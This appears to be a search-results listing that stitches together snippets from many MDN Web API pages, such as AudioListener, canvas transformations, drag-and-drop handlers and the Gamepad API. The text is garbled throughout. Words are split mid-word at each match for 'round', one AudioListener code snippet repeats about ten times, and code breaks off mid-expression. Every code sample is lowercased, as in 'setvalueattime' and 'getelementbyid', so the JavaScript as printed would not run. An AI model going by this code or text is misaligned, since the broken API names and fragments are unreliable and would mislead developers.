round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.forwardZ - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.positionX - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.positionY - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.positionZ - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.setOrientation() - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.setPosition() - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.speedOfSound - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.upX - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.upY - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.upZ - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
BaseAudioContext.createPanner() - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
CSSImageValue - Web APIs
the cssimagevalue interface of the css typed object model api represents values for properties that take an image, for example backg
round-image, list-style-image, or border-image-source.
... examples we create an element <button>magic wand</button> we add some css, including a backg
round image requesting a binary file: button { display: inline-block; min-height: 100px; min-width: 100px; backg
round: no-repeat 5% center url(https://mdn.mozillademos.org/files/16793/magicwand.png) aqua; } we get the element's style map.
... we then get() the backg
round-image from the stylemap and stringify it: // get the element const button = document.queryselector( 'button' ); // retrieve all computed styles with computedstylemap() const allcomputedstyles = button.computedstylemap(); // return the cssimagevalue example console.log( allcomputedstyles.get('backg
round-image') ); console.log( allcomputedstyles.get('backg
round-image').tostring() ); specifications specification status comment css typed om level 1the definition of 'cssimagevalue' in that specification.
Using the CSS properties and values API - Web APIs
when a property has a registered syntax, though, the browser can optimize a
round that syntax, including being able to animate it!
... .registered { --registered: #c0ffee; backg
round-image: linear-gradient(to right, #fff, var(--registered)); transition: --registered 1s ease-in-out; } .registered:hover, .registered:focus { --registered: #b4d455; } .unregistered { --unregistered: #c0ffee; backg
round-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } <button class="reg...
...istered">backg
round registered</button> <button class="unregistered">backg
round not registered</button> .registered { --registered: #c0ffee; backg
round-image: linear-gradient(to right, #fff, var(--registered)); transition: --registered 1s ease-in-out; } .registered:hover, .registered:focus { --registered: #b4d455; } .unregistered { --unregistered: #c0ffee; backg
round-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } button { height: 40vh; display: block; width: 100%; font-size: 3vw; } window.css.registerproperty({ name: '--registered', syntax: '<color>', inherits: false, initialvalue: 'red', }); while not functionally accurate...
CanvasRenderingContext2D.arcTo() - Web APIs
this method is commonly used for making
rounded corners.
... creating a
rounded corner this example creates a
rounded corner using arcto().
...you can play a
round with range input to see how arc changes.
CanvasRenderingContext2D.globalAlpha - Web APIs
we begin by drawing a solid backg
round composed of four differently colored squares.
...if we were to increase the step count (and thus draw more circles), the backg
round would eventually disappear completely from the center of the image.
... <canvas id="canvas" width="150" height="150"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw backg
round ctx.fillstyle = '#fd0'; ctx.fillrect(0, 0, 75, 75); ctx.fillstyle = '#6c0'; ctx.fillrect(75, 0, 75, 75); ctx.fillstyle = '#09f'; ctx.fillrect(0, 75, 75, 75); ctx.fillstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set transparency value ctx.globalalpha = 0.2; // draw transparent circles for (let i = 0; i < 7; i++) { ctx.beginpath(); ctx.arc(75, 75, 10 + 10 * i, 0, math.pi * 2, true); ctx.fill(); } screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.globalalpha' in that specification.
Manipulating video using canvas - Web APIs
<!doctype html> <html> <head> <style> body { backg
round: black; color:#cccccc; } #c2 { backg
round-image: url(media/foo.png); backg
round-repeat: no-repeat; } div { float: left; border :1px solid #444444; padding:10px; margin: 10px; backg
round:#3b3b3b; } </style> </head> <body> <div> <video id="video" src="media/video.mp4" controls="true" cro...
... canvas c1 is used to display the current frame of the original video, while c2 is used to display the video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to replace the green backg
round in the video.
... the for loop that begins on line 6 scans through the frame's pixels, pulling out the red, green, and blue values for each pixel, and compares the values against predetermined numbers that are used to detect the green screen that will be replaced with the still backg
round image imported from foo.png.
Compositing example - Web APIs
pure black or white does not result in pure black or white.', 'subtracts the bottom layer from the top layer or the other way
round to always get a positive value.', 'like difference, but with lower contrast.', 'preserves the luma and chroma of the bottom layer, while adopting the hue of the top layer.', 'preserves the luma and hue of the bottom layer, while adopting the chroma of the top layer.', 'preserves the luma of the bottom layer, while adopting the hue and chroma of the top layer.', 'preserves the hue and chroma of th...
... function createcanvas() { var canvas = document.createelement("canvas"); canvas.style.backg
round = "url("+op_8x8.data+")"; canvas.style.border = "1px solid #000"; canvas.style.margin = "5px"; canvas.width = width/2; canvas.height = height/2; return canvas; } function runcomposite() { var dl = document.createelement("dl"); document.body.appendchild(dl); while(gco.length) { var pop = gco.pop(); var dt = document.createelement("dt"); dt.t...
...idth), -(otop + halfwidth)); } ctx.beginpath(); ctx.fillstyle = "#00f"; ctx.fillrect(15,15,30,30) ctx.fill(); return ctx.canvas; }; // hsv (1978) = h: hue / s: saturation / v: value color = {}; color.hsv_rgb = function (o) { var h = o.h / 360, s = o.s / 100, v = o.v / 100, r, g, b; var a, b, c, d; if (s == 0) { r = g = b = math.
round(v * 255); } else { if (h >= 1) h = 0; h = 6 * h; d = h - math.floor(h); a = math.
round(255 * v * (1 - s)); b = math.
round(255 * v * (1 - (s * d))); c = math.
round(255 * v * (1 - (s * (1 - d)))); v = math.
round(255 * v); switch (math.floor(h)) { case 0: r = v; g = c; b = ...
Transformations - Web APIs
we use it to rotate the canvas a
round the current origin.
... rotate(angle) rotates the canvas clockwise a
round the current origin by the angle number of radians.
... ctx.fillrect(150, 30, 100, 100); ctx.translate(200, 80); // translate to rectangle center // x = x + 0.5 * width // y = y + 0.5 * height ctx.rotate((math.pi / 180) * 25); // rotate ctx.translate(-200, -80); // translate back // draw grey rect ctx.fillstyle = '#4d4e53'; ctx.fillrect(150, 30, 100, 100); } to rotate the rectangle a
round its own center, we translate the canvas to the center of the rectangle, then rotate the canvas, then translate the canvas back to 0,0, and then draw the rectangle.
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
options optional options are as follows: alpha: a number representing the motion of the device a
round the z axis, express in degrees with values ranging from 0 to 360.
... beta: a number representing the motion of the device a
round the x axis, express in degrees with values ranging from -180 to 180.
... gamma: a number representing the motion of the device a
round the y axis, express in degrees with values ranging from -90 to 90.
Document: drag event - Web APIs
html <div class="dropzone"> <div id="draggable" draggable="true" ondragstart="event.datatransfer.setdata('text/plain',null)"> this div is draggable </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> <div class="dropzone"></div> css #draggable { width: 200px; height: 20px; text-align: center; backg
round: white; } .dropzone { width: 200px; height: 20px; backg
round: blueviolet; margin-bottom: 10px; padding: 10px; } javascript var dragged; /* events fired on the draggable target */ document.addeventlistener("drag", function(event) { }, false); document.addeventlistener("dragstart", function(event) { // store a ref.
....opacity = ""; }, false); /* events fired on the drop targets */ document.addeventlistener("dragover", function(event) { // prevent default to allow drop event.preventdefault(); }, false); document.addeventlistener("dragenter", function(event) { // highlight potential drop target when the draggable element enters it if (event.target.classname == "dropzone") { event.target.style.backg
round = "purple"; } }, false); document.addeventlistener("dragleave", function(event) { // reset backg
round of potential drop target when the draggable element leaves it if (event.target.classname == "dropzone") { event.target.style.backg
round = ""; } }, false); document.addeventlistener("drop", function(event) { // prevent default action (open as link for some elements) event.preve...
...ntdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.backg
round = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html living standardthe definition of 'drag event' in that specification.
Introduction to the DOM - Web APIs
but there are a number of different data types being passed a
round the api that you should be aware of.
... note: because the vast majority of code that uses the dom revolves a
round manipulating html documents, it's common to refer to the nodes in the dom as elements, although strictly speaking not every node is an element.
... figure 0.1 sample dom test page in this example, the drop-down menus dynamically update such dom—accessible aspects of the web page as its backg
round color (bgcolor), the color of the hyperlinks (alink), and color of the text (text).
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
creating space a
round and inside elements is the job of css.
... consider this example (again, the whitespace characters in the html are marked so they are visible): .people-list { list-style-type: none; margin: 0; padding: 0; } .people-list li { display: inline-block; width: 2em; height: 2em; backg
round: #f06; border: 1px solid; } <ul class="people-list">⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ </ul> this renders as follows: hidden example 3 .people-list { list-style-type: none; margin: 0; padding: 0; } .people-list li { display: inline-block; width: 2em; height: 2em; backg
round: #f06; border: 1px solid; } <ul class="peopl...
... there are a few ways of getting a
round this problem: use flexbox to create the horizontal list of items instead of trying an inline-block solution.
Element: auxclick event - Web APIs
the former changes the color of the button backg
round, while the latter changes the button foreg
round (text) color.
... javascript let button = document.queryselector('button'); let html = document.queryselector('html'); function random(number) { return math.floor(math.random() * number); } function randomcolor() { return `rgb(${random(255)}, ${random(255)}, ${random(255)})`; } button.onclick = function() { button.style.backg
roundcolor = randomcolor(); }; button.onauxclick = function(e) { e.preventdefault(); button.style.color = randomcolor(); } button.oncontextmenu = function(e) { e.preventdefault(); } notice that in addition to capturing the auxclick event using onauxclick, the contextmenu event is also captured, and preventdefault() called on that event, in order to prevent the context menu from popping up aft...
... html <button><h1>click me!</h1></button> css html { height: 100%; overflow: hidden; } body { height: inherit; display: flex; justify-content: center; align-items: center; margin: 0; } button { border: 0; backg
round-color: white; font-size: 8vw; display: block; width: 100%; height: 100%; } h1 { letter-spacing: 0.5rem; } result note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when any of the non-left mouse buttons are clicked (usually including any "special" buttons on gaming mice).
Element: click event - Web APIs
internet explorer internet explorer 8 & 9 suffer from a bug where elements with a computed backg
round-color of transparent that are overlaid on top of other element(s) won't receive click events.
... known worka
rounds for this bug: for ie9 only: set backg
round-color: rgba(0,0,0,0) set opacity: 0 and an explicit backg
round-color other than transparent for ie8 and ie9: set filter: alpha(opacity=0); and an explicit backg
round-color other than transparent safari mobile safari mobile 7.0+ (and likely earlier versions too) suffers from a bug where click events aren't fired on elements that aren't typically interactive (e.g.
... known worka
rounds for this bug: set cursor: pointer; on the element or any of its ancestors.
Event.eventPhase - Web APIs
<li>repeat the experience</li> </ul> <input type="checkbox" id="chcapture" /> <label for="chcapture">use capturing</label> <div id="d1">d1 <div id="d2">d2 <div id="d3">d3 <div id="d4">d4</div> </div> </div> </div> <div id="divinfo"></div> css div { margin: 20px; padding: 4px; border: thin black solid; } #divinfo { margin: 18px; padding: 8px; backg
round-color:white; font-size:80%; } javascript let clear = false, divinfo = null, divs = null, usecapture = false; window.onload = function () { divinfo = document.getelementbyid('divinfo') divs = document.getelementsbytagname('div') chcapture = document.getelementbyid('chcapture') chcapture.onclick = function () { removelisteners() addlisteners() } clear() addlis...
...= "divinfo") { if (chcapture.checked) { d.addeventlistener("click", ondivclick, true) } else { d.addeventlistener("click", ondivclick, false) d.onmousemove = function () { clear = true } } } } } function ondivclick(e) { if (clear) { clear() clear = false } if (e.eventphase == 2) e.currenttarget.style.backg
roundcolor = 'red'; let level = e.eventphase == 0 ?
..."bubbling" : "error"; divinfo.innerhtml += e.currenttarget.id + "; eventphase: " + level + "<br/>"; } function clear() { for (let i = 0; i < divs.length; i++) { if (divs[i].id != "divinfo") { divs[i].style.backg
roundcolor = (i & 1) ?
EventTarget.addEventListener() - Web APIs
note, however, that you'll need to keep a reference to the listener a
round so you can remove it later.
...this, and the fact that objects can have properties, and that they can be passed a
round by reference, makes them likely candidates for sharing data among scopes.
... polyfill you can work a
round addeventlistener(), removeeventlistener(), event.preventdefault(), and event.stoppropagation() not being supported by internet explorer 8 by using the following code at the beginning of your script.
Using files from web applications - Web APIs
you need to provide a visual cue for the focus status of the hidden input field on its label, be it an outline as shown above, or backg
round-color or box-shadow.
...after creating the new filereader object, we set up its onload function and then call readasdataurl() to start the read operation in the backg
round.
... function fileupload(img, file) { const reader = new filereader(); this.ctrl = createthrobber(img); const xhr = new xmlhttprequest(); this.xhr = xhr; const self = this; this.xhr.upload.addeventlistener("progress", function(e) { if (e.lengthcomputable) { const percentage = math.
round((e.loaded * 100) / e.total); self.ctrl.update(percentage); } }, false); xhr.upload.addeventlistener("load", function(e){ self.ctrl.update(100); const canvas = self.ctrl.ctx.canvas; canvas.parentnode.removechild(canvas); }, false); xhr.open("post", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php"); xhr.
Introduction to the File and Directory Entries API - Web APIs
the file and directory entries api simulates a local file system that web apps can navigate a
round.
... it can improve performance by letting an app pre-fetch assets in the backg
round and cache locally.
... the app pre-fetches assets in the backg
round, so the user can go to the next task or game level without waiting for a download.
Using the Gamepad API - Web APIs
using button information let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball a
round the screen using the four gamepad buttons on the right hand side of the gamepad.
...this has the effect of moving the ball a
round the screen.
...controllers[j]; var d = document.getelementbyid("controller" + j); var buttons = d.getelementsbyclassname("button"); for (i = 0; i < controller.buttons.length; i++) { var b = buttons[i]; var val = controller.buttons[i]; var pressed = val == 1.0; if (typeof(val) == "object") { pressed = val.pressed; val = val.value; } var pct = math.
round(val * 100) + "%"; b.style.backg
roundsize = pct + " " + pct; if (pressed) { b.classname = "button pressed"; } else { b.classname = "button"; } } var axes = d.getelementsbyclassname("axis"); for (i = 0; i < controller.axes.length; i++) { var a = axes[i]; a.innerhtml = i + ": " + controller.axes[i].tofixed(4); a.setattribute("va...
GlobalEventHandlers.ondragend - Web APIs
=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's backg
round color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.backg
round = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev...
....preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's backg
round color for enter events ev.currenttarget.style.backg
round = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.backg
round = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's backg
round color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.backg
round = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.backg
round = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it ...
GlobalEventHandlers.ondragenter - Web APIs
=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's backg
round color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.backg
round = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev...
....preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's backg
round color for enter events ev.currenttarget.style.backg
round = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.backg
round = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's backg
round color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.backg
round = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.backg
round = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it ...
GlobalEventHandlers.ondragexit - Web APIs
=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's backg
round color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.backg
round = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev...
....preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's backg
round color for enter events ev.currenttarget.style.backg
round = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.backg
round = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's backg
round color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.backg
